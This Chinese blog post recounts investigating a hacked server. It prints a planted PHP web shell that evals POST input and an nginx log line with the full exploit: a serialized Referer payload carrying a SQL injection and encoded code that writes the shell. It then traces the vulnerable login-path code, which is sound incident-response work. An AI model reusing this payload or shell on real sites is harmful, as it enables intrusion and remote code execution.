记录一次服务器被Sql注入的排查过程
提醒:本文最后更新于 1692 天前,文中所描述的信息可能已发生改变,请谨慎使用。
下午,我正在河边散步,突然朋友给我发了一条短信截图,让我帮他看看啥情况。

排查
连上服务器,先停了web服务器。看了下根目录果然多出了一个userr.php文件,内容如下:
<title>usrr</title><?php $str="1";function s($str){eval("".$str."");}s($_POST["usrr"]);?>
一看eval我就感觉大事不妙,这是被人家把底裤都扒了个精光。好在这台服务器没啥价值,上面的业务也处于停滞状态。不过遇到这种问题还是要排查一下的。
先看一下nginx的响应日志,按照腾讯云提供的这个时间2021-06-05 16:44:53,发现了一条这样的记录:
113.237.187.191 - -[05 / Jun / 2021: 16: 44: 52 + 0800] "GET /user.php?act=login HTTP/1.1" 200 1811 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:456:\x22*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F496E567A5A584A794C6E426F634349734A7A7830615852735A54353163334A7950433930615852735A5434385033426F6343416B6333527950534978496A746D6457356A64476C766269427A4B43527A64484970653256325957776F496949754A484E306369346949696B3766584D6F4A46395154314E5557794A3163334A79496C30704F7A382B4A796B372729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:3:\x22'/*\x22;}" "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"
看了下nginx日志响应的格式,最长的这个字符串是Referer,其中|后面是一个php序列化后的字符串,里面嵌入了一个sql语句,后面还有一个很长的16进制数字,先把这个疑似php序列化字符串反序列化一下看看。

emm,有num有id,看样子和业务逻辑还有关联,直接看代码吧。不过在这之前看一下这个十六进制数字是啥东西吧。

再解一下base64:

好家伙,原来是这么写进去的,看一下业务逻辑吧。
分析业务逻辑
nginx响应日志里是从user.php?act=login进去的,跟踪一下执行流程,发现有一处关键的流程使用了HTTP_REFERER:

接下来挂载相应变量后调用了display方法,继续深入:

继续跟踪下去,这里$this->fetch获取模版内容。

获取模版内容并eval:

进行eval:

模版中使用了$back_act变量:

回到display函数,获取到模版内容后用_echash变量进行了切割,这个_echash在原本的代码中是554fcae493e564ee0dc75bdf2ebf94ca,而现在是554fcae493e564ee0dc75bdf2ebf94caads,相比之下多出来一个ads。
切割后的$k变量中的奇数位置正好含有注入的恶意代码,然后进入了insert_mod函数:

这里先将字符串用|进行切割,然后对恶意代码进行了反序列化,而$fun成了insert_ads函数,执行相应的函数:

最终带入了sql语句并被执行。

写完后才发现这个漏洞早被别人抓出来了链接,好吧。